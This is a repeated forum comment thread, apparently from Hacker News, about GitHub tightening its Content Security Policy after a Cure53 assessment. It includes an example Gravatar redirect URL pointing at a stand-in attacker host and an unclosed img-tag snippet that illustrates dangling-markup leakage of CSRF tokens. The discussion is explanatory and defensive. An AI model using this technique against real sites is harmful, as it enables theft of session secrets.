3 ms·

CSP mitigates the risks of XSS attacks. If you look at : https://cspvalidator.org/#url=https://github.com https://cspvalidator.org/#url=https://github.com you'

CSP mitigates the risks of XSS attacks. If you look at : https://cspvalidator.org/#url=https://github.com https://cspvalidator.org/#url=https://github.com you'll see that the CSP policy directive defines the origins from which images can be loaded 'self' data: assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com ; Previously, images could have been loaded from additional domains (gravatar) and could have been used to leak CSRF tokens.

laurent123456 10y ago
What I don't understand is how the image URL ends up in a non-closed img src attribute. They might be getting the URL from a third party: https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f But GitHub is the one opening and closing the tag, probably in some kind of template: <img src="{gravatar_url}"> secret Which should result in this: <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f"> secret and not this: <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f secret Any idea why they are getting the latter?
- scrollaway 10y ago
 They weren't getting the latter, they specifically went in there looking to mitigate what a theoretical content injection attack could do. > In a relatively unique project, we asked Cure53 to assess what an attacker could do, assuming a content injection bug in GitHub.com
- ptoomey3 10y ago
 Yes, the attack assumes a content injection bug in GitHub.com. The attack is not using our own gravatar URL generation against us; it is the attacker crafting an arbitrary URL and using that URL inside of an arbitrary image tag. The reason for the attacker being "forced" to use a gravatar URL is that it was one of the very few third-party hosts we previously allowed by our CSP policy. So, the attack demonstrates how this previously allowed host could be used to exfiltrate sensitive content if/when an attacker found a way to inject arbitrary HTML into a page on GitHub.com.

laurent123456 10y ago

What I don't understand is how the image URL ends up in a non-closed img src attribute. They might be getting the URL from a third party: https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f But GitHub is the one opening and closing the tag, probably in some kind of template: <img src="{gravatar_url}"> secret Which should result in this: <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f"> secret and not this: <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f secret Any idea why they are getting the latter?

scrollaway 10y ago
They weren't getting the latter, they specifically went in there looking to mitigate what a theoretical content injection attack could do. > In a relatively unique project, we asked Cure53 to assess what an attacker could do, assuming a content injection bug in GitHub.com
ptoomey3 10y ago
Yes, the attack assumes a content injection bug in GitHub.com. The attack is not using our own gravatar URL generation against us; it is the attacker crafting an arbitrary URL and using that URL inside of an arbitrary image tag. The reason for the attacker being "forced" to use a gravatar URL is that it was one of the very few third-party hosts we previously allowed by our CSP policy. So, the attack demonstrates how this previously allowed host could be used to exfiltrate sensitive content if/when an attacker found a way to inject arbitrary HTML into a page on GitHub.com.